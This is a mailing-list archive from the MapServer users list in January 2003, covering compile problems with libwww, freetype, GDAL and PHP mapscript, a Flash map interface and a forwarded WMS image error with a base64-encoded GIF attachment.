From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 16 Jan 2003 19:02:25 -0500
Subject: [Mapserver-users] wms client
References: <3E2613BD.20903@usgs.gov>
Message-ID: <3E274811.87C0B411@dmsolutions.ca>
Brian Clark wrote:
>
> We've built and installed libwww 5.4.0. However, configure returns:
> "libwww version 5.3.2 or more recent is required"
> Tried it with: --with-wmsclient=/usr/local/lib, and no errors on
> configure or make,
> but also no wmsclient support.
> OS is Solaris 2.6.
>
Make sure /usr/local/lib is in your path, passing
--with-wmsclient=/usr/local/lib has no effect, and actually in this case
it doesn't even try to locate libwww. You have to use --with-wmsclient
with no argument and it will look for libwww-config in your path.
Also make sure you are using MapServer 3.6.4, there used to be a problem
with the libwww version check that was fixed starting with 3.6.2.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From jlowe at giswebsite.com Thu Jan 16 19:36:07 2003
From: jlowe at giswebsite.com (Jonathan W. Lowe)
Date: 16 Jan 2003 19:36:07 -0800
Subject: [Mapserver-users] TrueType Font and Label Angle
In-Reply-To: <3E24F4AF.117CA723@dmsolutions.ca>
References:
<1042480398.3e22fd0eaaa17@webmail.lmi.net>
<3E24F4AF.117CA723@dmsolutions.ca>
Message-ID: <1042774571.2091.24.camel@localhost.localdomain>
Questions (for Daniel?) about the freetype1 vs. freetype2 problem:
1) Why does the same version of gd + freetype2 result in a successful
mapserver compilation (i.e. no label angle problems) on RedHat 8.0, but
not on FreeBSD?
2) If freetype2 is a problem, why is it the default in the mapserver
Makefile?
3) And, if there is a bug in freetype2, rather than avoiding freetype2
altogether (an endeavor raising its own set of problems), why not get
the bug fixed? Is it a known bug? Has anyone from the list identified
the bug and/or contacted the freetype developer(s) to report it?
(If this is much easier said than done, please forgive my naivete.)
Thank you,
Jonathan Lowe
On Tue, 2003-01-14 at 21:42, Daniel Morissette wrote:
> "Jonathan W. Lowe" wrote:
> >
> > For what it's worth, my installation on RedHat 8.0 didn't have the label angle
> > problems, so it is possible to successfully compile the software on Linux. At
> > one point in my efforts to overcome the label angle problems, I found a
> > reference that said the mere presence of freetype2 might force the compiler to
> > use freetype2 (the supposed culprit in the label angle problem) rather than
> > freetype1. Do you have root access to the system on which you are compiling? I
> > had to isolate libraries like gd and freetype in a local directory in order to
> > be sure my compilation used exactly the libraries I intended it to use.
> >
>
> FYI there is a --enable-force-freetype1 configure switch in 3.6.x and
> 3.7 to try to force detection of Freetype 1 in priority over freetype 2
> when a system has both. Starting with RH 7.x and 8.x this is very
> useful if you want to compile with your own custom GD with freetype 1.3.
>
> Daniel
> --
> ------------------------------------------------------------
> Daniel Morissette morissette at dmsolutions.ca
> DM Solutions Group http://www.dmsolutions.ca/
> ------------------------------------------------------------
>
From pkishor at geoanalytics.com Thu Jan 16 19:54:05 2003
From: pkishor at geoanalytics.com (pkishor_98 )
Date: Fri, 17 Jan 2003 03:54:05 -0000
Subject: [Mapserver-users] Re: PHP 4.3.0
In-Reply-To: <3E27412C.1EC78C4E@dmsolutions.ca>
Message-ID:
Hi Daniel,
Thanks for replying. Now that I know it works, here are the gory
details -- gcc 2.95 on OS X 10.2.3, PHP 4.3.0 built as CGI "--with-xml
--with-zlib --with-mysql --with-gd --with-png --with-jpeg --with-xml
--enable-wddx --enable-dbase --with-regex=system" and working fine.
Any idea why I am getting the following errors (reproducing only the
last bit) during make-ing Mapserver --
-I/Users/pkishor/Projects/mapserver/php-4.3.0/TSRM -c -o
mapscript_i.o mapscript_i.c
/Users/pkishor/Projects/mapserver/mapserver-3.6.4/maptemplate.h:16:
warning: `inchesPerUnit' defined but not used
cc: -flat_namespace: linker input file unused since linking not done
cc: -flat_namespace: linker input file unused since linking not done
cc -o php_mapscript.so php_mapscript_util.o php_mapscript.o
mapscript_i.o -L/Users/pkishor/Projects/mapserver/mapserver-3.6.4
-lmap -ljpeg -L/usr/local/lib -lpng -lz
-L/Users/pkishor/Projects/mapserver/mapserver-3.6.4/../gd-1.8.4 -lgd
-ljpeg -L/usr/local/lib -lpng -lz -ljpeg -lm
/usr/bin/ld: Undefined symbols:
_main
__convert_to_string
__efree
__emalloc
__estrdup
__object_init_ex
__zend_list_find
__zval_copy_ctor
_add_property_resource_ex
_add_property_zval_ex
_convert_to_double
_convert_to_long
_zend_error
_zend_hash_find
_zend_hash_get_current_data_ex
_zend_hash_get_current_key_ex
_zend_hash_internal_pointer_reset_ex
_zend_hash_move_forward_ex
__array_init
__estrndup
__object_init
__zend_list_addref
__zend_list_delete
_add_assoc_string_ex
_add_next_index_long
_add_next_index_string
_add_property_double_ex
_add_property_long_ex
_add_property_string_ex
_php_header
_php_printf
_php_write
_sapi_module
_zend_get_parameters
_zend_hash_index_find
_zend_hash_num_elements
_zend_list_insert
_zend_register_internal_class
_zend_register_list_destructors
_zend_register_list_destructors_ex
_zend_register_long_constant
_zend_wrong_param_count
make[1]: *** [php_mapscript.so] Error 1
--- Daniel Morissette wrote:
> "pkishor_98 " wrote:
> >
> > I am getting a bunch of errors compiling ms3.6.4 (all related to
> > php_mapscript.so), and before I get any further, I would like to
find
> > out if the current PHP/Mapscript module work with PHP 4.3.0. Does
it?
> >
>
> Yes it does work with PHP 4.3.0. I haven't used it myself yet, but
> Assefa has built it with PHP 4.3.0 and I haven't heard of anything
> special. This windows DLL for PHP 4.3.0 is on our download site.
>
From steve.lime at dnr.state.mn.us Thu Jan 16 21:00:49 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Thu, 16 Jan 2003 23:00:49 -0600
Subject: [Mapserver-users] TrueType Font and Label Angle
Message-ID:
1) Who knows. Since there is an easy work around I've not felt the need
to poke around the GD code- that's where the problem is. The pain is on
those systems that have a particular version of GD and/or Freetype
pre-installed (life is fine on Solaris for example).
2) Um, no need to blame anyone. It really shouldn't have been until GD
2.0 was stable, so prior to 3.7 only Freetype 1 should be looked for.
The good news is that recent versions of GD 2.0 have had major updates
to TTF support and are believed to work just fine. Bottom line is to use
freetype 1.3.1/gd 1.8.4 with MapServer 3.6.x and either that combination
or freetype 2.0/gd 2.x with MapServer 3.7.
3) The bug(s) is in the GD interface to Freetype, not in Freetype
itself. Freetype 2 support in GD has not been stable until recently.
Steve
Stephen Lime
Data & Applications Manager
Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937
>>> "Jonathan W. Lowe" 01/16/03 21:38 PM >>>
Questions (for Daniel?) about the freetype1 vs. freetype2 problem:
1) Why does the same version of gd + freetype2 result in a successful
mapserver compilation (i.e. no label angle problems) on RedHat 8.0, but
not on FreeBSD?
2) If freetype2 is a problem, why is it the default in the mapserver
Makefile?
3) And, if there is a bug in freetype2, rather than avoiding freetype2
altogether (an endeavor raising its own set of problems), why not get
the bug fixed? Is it a known bug? Has anyone from the list identified
the bug and/or contacted the freetype developer(s) to report it?
(If this is much easier said than done, please forgive my naivete.)
Thank you,
Jonathan Lowe
On Tue, 2003-01-14 at 21:42, Daniel Morissette wrote:
> "Jonathan W. Lowe" wrote:
> >
> > For what it's worth, my installation on RedHat 8.0 didn't have the
label angle
> > problems, so it is possible to successfully compile the software on
Linux. At
> > one point in my efforts to overcome the label angle problems, I
found a
> > reference that said the mere presence of freetype2 might force the
compiler to
> > use freetype2 (the supposed culprit in the label angle problem)
rather than
> > freetype1. Do you have root access to the system on which you are
compiling? I
> > had to isolate libraries like gd and freetype in a local directory
in order to
> > be sure my compilation used exactly the libraries I intended it to
use.
> >
>
> FYI there is a --enable-force-freetype1 configure switch in 3.6.x and
> 3.7 to try to force detection of Freetype 1 in priority over freetype
2
> when a system has both. Starting with RH 7.x and 8.x this is very
> useful if you want to compile with your own custom GD with freetype
1.3.
>
> Daniel
> --
> ------------------------------------------------------------
> Daniel Morissette morissette at dmsolutions.ca
> DM Solutions Group http://www.dmsolutions.ca/
> ------------------------------------------------------------
>
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From mccrone at pc.jaring.my Thu Jan 16 21:08:09 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Fri, 17 Jan 2003 13:08:09 +0800
Subject: [Mapserver-users] Testsuite - itemquery with Rosa on the same page
Message-ID: <001a01c2bde6$74bff4a0$6f61063d@clickntrac>
This is a multi-part message in MIME format.
------=_NextPart_000_0017_01C2BE29.7B91BB40
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I have partially solved my itemquery zoom in problem. I added the =
following to the=20
main page index.html -=20
=20
It still cannot get two images on my template page usign something like =
-=20
Has anybody implemented this query zoom in fucntion from within the =
template page
and with rosa applet involved?
Thanks,
Steve
------=_NextPart_000_0017_01C2BE29.7B91BB40
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I have partially solved my itemquery =
zoom in=20
problem. I added the following to the
Has anybody implemented this query zoom =
in fucntion=20
from within the template page
and with rosa applet =
involved?
Thanks,
Steve
------=_NextPart_000_0017_01C2BE29.7B91BB40--
From frauke.trurnit at gmx.de Thu Jan 16 23:44:01 2003
From: frauke.trurnit at gmx.de (frauke.trurnit at gmx.de)
Date: Fri, 17 Jan 2003 08:44:01 +0100 (MET)
Subject: [Mapserver-users] Couldn't find gdal-config
References: <3E269C8F.4050006@geosysnet.de>
Message-ID: <12173.1042789441@www23.gmx.net>
Hi Philipp,
first you must implement the following instructions:
cd /usr/local/src/gdal-1.1.7
./configure
make
make install
Then you can configure the mapserver "--with-gdal".
Frauke
> Hi all,
>
> I'm trying to configure mapserver3.6.4 with the '--with-gdal' option.
> I installed gdal-1.1.7 and gdal-config can be found in /usr/local/bin/
>
> I tried it with:
> '--with-gdal'
> '--with-gdal=/usr/local/bin/gdal-config'
> '--with-gdal=/usr/local/src/gdal-1.1.7/apps/gdal-config'
>
> But always the same problem, the configure script is unable to find
> gdal-config.
> Any ideas?
>
> Thanks in advance.
> Philipp
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
--
+++ GMX - Mail, Messaging & more http://www.gmx.net +++
NEU: Mit GMX ins Internet. Rund um die Uhr f?r 1 ct/ Min. surfen!
From philipp.jacob at geosysnet.de Fri Jan 17 02:01:32 2003
From: philipp.jacob at geosysnet.de (Philipp Jacob)
Date: Fri, 17 Jan 2003 11:01:32 +0100
Subject: [Mapserver-users] Couldn't find gdal-config
References: <3E269C8F.4050006@geosysnet.de> <12173.1042789441@www23.gmx.net>
Message-ID: <3E27D47C.3060700@geosysnet.de>
frauke.trurnit at gmx.de wrote:
>Hi Philipp,
>first you must implement the following instructions:
>cd /usr/local/src/gdal-1.1.7
>./configure
>make
>make install
>
>>> I installed gdal-1.1.7 and gdal-config can be found in /usr/local/bin/
Mentioning this, I intended to say that I've already done this.
Nevertheless 'configure' can't find gdal-config.
>>Hi all,
>>
>>I'm trying to configure mapserver3.6.4 with the '--with-gdal' option.
>>I installed gdal-1.1.7 and gdal-config can be found in /usr/local/bin/
>>
>>I tried it with:
>>'--with-gdal'
>>'--with-gdal=/usr/local/bin/gdal-config'
>>'--with-gdal=/usr/local/src/gdal-1.1.7/apps/gdal-config'
>>
>>But always the same problem, the configure script is unable to find
>>gdal-config.
>>Any ideas?
>>
>>Thanks in advance.
>>Philipp
>>
>>
>>
From fx.gamoy at mapxplore.com Fri Jan 17 04:26:07 2003
From: fx.gamoy at mapxplore.com (fx gamoy)
Date: Fri, 17 Jan 2003 12:26:07 -0000
Subject: [Mapserver-users] compiling php 4.2.2 with ming
Message-ID: <00d401c2be23$9c95f000$0201a8c0@mapxplore.com>
C'est un message de format MIME en plusieurs parties.
------=_NextPart_000_00D1_01C2BE23.9C8EC410
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
hello everybody
First I have compiled php 4.2.2 with the ming option but nothing occur =
when i try a small example (donwloaded in opaque.net). the install =
seems to be oki and the phpinfo function return the 2 lines about ming
Helpppp...
the mapserver application i have developped generate PNG files and i =
would like to translate this png into swf file on the fly in order to =
use a flash navigator.
This alternative is it good?=20
is there other experiences which use such a translation?
thanks...
Best regards
FX GAMOY
http://www.mapxplore.com/
------=_NextPart_000_00D1_01C2BE23.9C8EC410
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
hello everybody
First I have compiled php 4.2.2 with =
the ming=20
option but nothing occur when i try a small example =
(donwloaded in=20
opaque.net). the install seems to be oki and the phpinfo function return =
the 2=20
lines about ming
Helpppp...
the mapserver application i have =
developped=20
generate PNG files and i would like to translate this png into swf file =
on the=20
fly in order to use a flash navigator.
This alternative is it good? =
is there other experiences which use =
such a=20
translation?
------=_NextPart_000_00D1_01C2BE23.9C8EC410--
From hvollmer at zebris.com Fri Jan 17 03:53:37 2003
From: hvollmer at zebris.com (hvollmer at zebris.com)
Date: Fri, 17 Jan 2003 12:53:37 +0100
Subject: [Mapserver-users] shp2img_error
Message-ID:
Hello
I am trying to install a 3.6 build of mapserver on a Redhat 7 Linux box
while using the following options with the configuration script.
./configure --with-gd=/usr/local/gd-2.0.10
--with-freetype=/usr/lib/freetype --with-jpeg=/usr/local/jpeg
gd-2.0.10
freetype-2.1.2
jpeg-6b
After compilation the libraries are indicated and the makefile builds
without complaint.
When I run 'make' I get the following problem
gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_JPEG
-DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT
-I/usr/local/include shp2img.o -L. -lmap -lgd
-L/usr/local/lib -lgd -ljpeg -lfreetype -lpng - lz -ljpeg
-lfreetype -lpng -lz -ljpeg -lm -o shp2img
./libmap.a(mapogr.o)(.eh_frame+0x11): undefined reference to
`__gxx_personali ty_v0'
collect2: ld returned 1 exit status
make: *** [shp2img] Fehler 1
Does anyone Knows this error and could I please get some pointers or
advice?
Thanks in advance,
Hennes Vollmer
From pgigoux at munistgo.cl Fri Jan 17 04:46:44 2003
From: pgigoux at munistgo.cl (Patricio Gigoux)
Date: Fri, 17 Jan 2003 09:46:44 -0300
Subject: [Mapserver-users] (no subject)
In-Reply-To:
References:
Message-ID: <200301171245.h0HCjvae015480@lists.gis.umn.edu>
Explicalo en espa?ol, a ver si te puedo ayudar.
Can you explain it in spanish?, plis, so I should help you
Saludos
Patricio
El Jue 16 Ene 2003 12:23, Andr?s Collao escribi?:
> I am intentanado to show one of my maps with Mapserver, but this it appears
> in target, I believe that it is a EXTENT problem. that it makes this
> instruction?
>
>
>
> Atte.
>
> ---------------
> Andr?s Collao.
> ---------------
>
> Icq # 36107225
> collao_andres at hotmail.com
> acollao at inf.utfsm.cl
>
> "El hombre es un Dios cuando sue?a y un mendigo cuando reflexiona".
>
> :-- Il peggior nemico del succeso ? la pauta del fallimiento
> :-- El peor enemigo del ?xito es el miedo al fracaso
>
> _________________________________________________________________
> MSN. M?s ?til Cada D?a http://www.msn.es/intmap/
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From bon at ivv-aachen.de Fri Jan 17 04:45:41 2003
From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=)
Date: Fri, 17 Jan 2003 13:45:41 +0100
Subject: [Mapserver-users] after timeout or abort mapserver process remains until I kill it :-(
Message-ID: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de>
I have the problem that the mapserver process remains until I kill it, when
a request is timed out or aborted.
That makes all following requests very slow. Sometimes they are even timed
out too, so the problem grows.
Is there a possibility to tell the mapserver to time out a process after
some time?
Nicole
From frauke.trurnit at gmx.de Fri Jan 17 05:25:35 2003
From: frauke.trurnit at gmx.de (frauke.trurnit at gmx.de)
Date: Fri, 17 Jan 2003 14:25:35 +0100 (MET)
Subject: [Mapserver-users] Couldn't find gdal-config
References: <3E27D47C.3060700@geosysnet.de>
Message-ID: <10169.1042809935@www4.gmx.net>
Hi Philipp,
than try this:
--with-gdal=/usr/local/src/gdal-1.1.7
That's the way I configured the MapServer:
./configure --with-proj --with-gd=../gd-1.8.4 --with-ogr=../gdal-1.1.7
--with-gdal=../gdal-1.1.7 --with-wmsclient=../w3c-libwww-5.4.0 --with-tiff
--with-jpeg --with-freetype=/usr/include/freetype2
--with-php=./mapscript/php4/php-4.2.3
Frauke
> frauke.trurnit at gmx.de wrote:
>
> >Hi Philipp,
> >first you must implement the following instructions:
> >cd /usr/local/src/gdal-1.1.7
> >./configure
> >make
> >make install
> >
> >>> I installed gdal-1.1.7 and gdal-config can be found in /usr/local/bin/
>
> Mentioning this, I intended to say that I've already done this.
> Nevertheless 'configure' can't find gdal-config.
>
>
>
>
>
> >>Hi all,
> >>
> >>I'm trying to configure mapserver3.6.4 with the '--with-gdal' option.
> >>I installed gdal-1.1.7 and gdal-config can be found in /usr/local/bin/
> >>
> >>I tried it with:
> >>'--with-gdal'
> >>'--with-gdal=/usr/local/bin/gdal-config'
> >>'--with-gdal=/usr/local/src/gdal-1.1.7/apps/gdal-config'
> >>
> >>But always the same problem, the configure script is unable to find
> >>gdal-config.
> >>Any ideas?
> >>
> >>Thanks in advance.
> >>Philipp
> >>
> >>
> >>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
--
+++ GMX - Mail, Messaging & more http://www.gmx.net +++
NEU: Mit GMX ins Internet. Rund um die Uhr f?r 1 ct/ Min. surfen!
From jmccue at geovue.com Fri Jan 17 06:16:09 2003
From: jmccue at geovue.com (John McCue)
Date: Fri, 17 Jan 2003 09:16:09 -0500
Subject: [Mapserver-users] (no subject)
Message-ID:
Has anyone written a book on MapServer?
From John.Arthur at T-Mobile.com Fri Jan 17 06:45:01 2003
From: John.Arthur at T-Mobile.com (Arthur, John)
Date: Fri, 17 Jan 2003 06:45:01 -0800
Subject: [Mapserver-users] Flash Interface to mapserver
Message-ID:
Silly question, I know... but does anyone know if it is possible to write a
flash front-end in flash 4?
This is all I have, and can't afford to upgrade at the moment. I have a
request in at work for the new Studio MX, but it doesn't look like its going
through.
BTW, I tested it on a Pocket PC... no go. I imagine it requires Flash player
6, pocket ie only has 5.
Works in Opera for linux,
Works in Phoenix for linux,
Does not work in Konqueror 3.1... It loads the movie, but doesn't load the
actual map. Just continues to say "Loading Map..."
Thanks
-John Arthur
-----Original Message-----
From: Grant, Ryan [mailto:rgrant at nrcan.gc.ca]
Sent: Thursday, January 16, 2003 6:33 PM
To: 'Steve Lime'; Mapserver-users at lists.gis.umn.edu; Grant, Ryan
Subject: RE: [Mapserver-users] Flash Interface to mapserver
Sounds great to me! After talking with Paul Ramsey I've started working a
Flash version to work with the CGI implementation. I'll post it once I get
anywhere with it..
Ryan
-----Original Message-----
From: Steve Lime [mailto:steve.lime at dnr.state.mn.us]
Sent: Thursday, January 16, 2003 2:53 PM
To: Mapserver-users at lists.gis.umn.edu; rgrant at nrcan.gc.ca
Subject: Re: [Mapserver-users] Flash Interface to mapserver
Don't want to lose this. How 'bout adding/starting a flash section on
the wiki?
>>> "Grant, Ryan" 01/16/03 01:55PM >>>
Hey there.
Well it's time I stopped simply leaching from this users-group and add
my
contribution. I've built a simple flash interface around MapServer
3.6.3.
The backend functionality is provided by PHP-Mapscript. On the page is
a
link to a zip file containing all of the relevant code. Feel free to
use
anything you want. I couldn't have been here without the help and
knowledge
gleamed from this users group. I would appreciate any bug reports,
feedback,
suggestions, etc. I've tested on IE6, Netscape7, and lightly tested on
a Mac
and so far all is well.
http://132.156.108.209/FlashMap/FlashMapServer.html
Cheers!
Ryan
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From steve.lime at dnr.state.mn.us Fri Jan 17 06:51:24 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Fri, 17 Jan 2003 08:51:24 -0600
Subject: [Mapserver-users] Fwd: RE: Mapserv--wms problemes
Message-ID:
--=_0D52166B.F899E87E
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
--=_0D52166B.F899E87E
Content-Type: message/rfc822
Received: from mail.state.mn.us
(state.mn.us [156.99.125.109])
by co5.dnr.state.mn.us; Fri, 17 Jan 2003 06:35:12 -0600
Return-Path:
Received: from [193.144.250.36] by mail.state.mn.us with ESMTP for steve.lime at dnr.state.mn.us; Fri, 17 Jan 2003 06:35:11 -0600
Received: by blanes.local.icc with Internet Mail Service (5.5.2656.59)
id ; Fri, 17 Jan 2003 13:57:31 +0100
Message-Id:
From: "Pascual Ayats, Victor"
To: "'steve.lime at dnr.state.mn.us'"
Subject: RE: Mapserv--wms problemes
Date: Fri, 17 Jan 2003 13:57:31 +0100
X-Mailer: Internet Mail Service (5.5.2656.59)
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----_=_NextPart_000_01C2BE27.FF22ADE0"
This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.
------_=_NextPart_000_01C2BE27.FF22ADE0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: Quoted-Printable
> <>=20
>=20
> Dear Steve
>=20
> We are really interesting in WMS and WFS . Now we testing the mapserv
> capabilities.
>=20
> But we have a problem and we can not carry on. When we make a WMS request=
> we receive a wrong image (see attached file ), this wrong image its the
> same like we can see in the resoult of the cached query map image.
>=20
> We work with Tomcat 4.1 and Windows NT.
>=20
> Please, can you tell us where the problem is. Tomcat??, Windows NT??
>=20
> please, can help us?
>=20
>=20
> I try the same(in my house) application on Windows 2000 and IIS5, and
> works really well!!
>=20
>=20
> Thanks in advance
>=20
> Best regards
>=20
>=20
>=20
>=20
>=20
>=20
>=20
> Victor Pascual Ayats
>=20
> PROJECTE IDEC
> Institut Cartogr=E0fic de Catalunya
> Parc de Montjuic - 08038 Barcelona
> tel. 34 93 567 15 00 Ext:3327
>=20
> http://www.gencat.es/idec
>=20
>=20
>=20
>=20
>=20
------_=_NextPart_000_01C2BE27.FF22ADE0
Content-Type: image/gif; name="mapserv.gif"
Content-Transfer-Encoding: Base64
Content-Disposition: ATTACHMENT; filename="mapserv.gif"
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
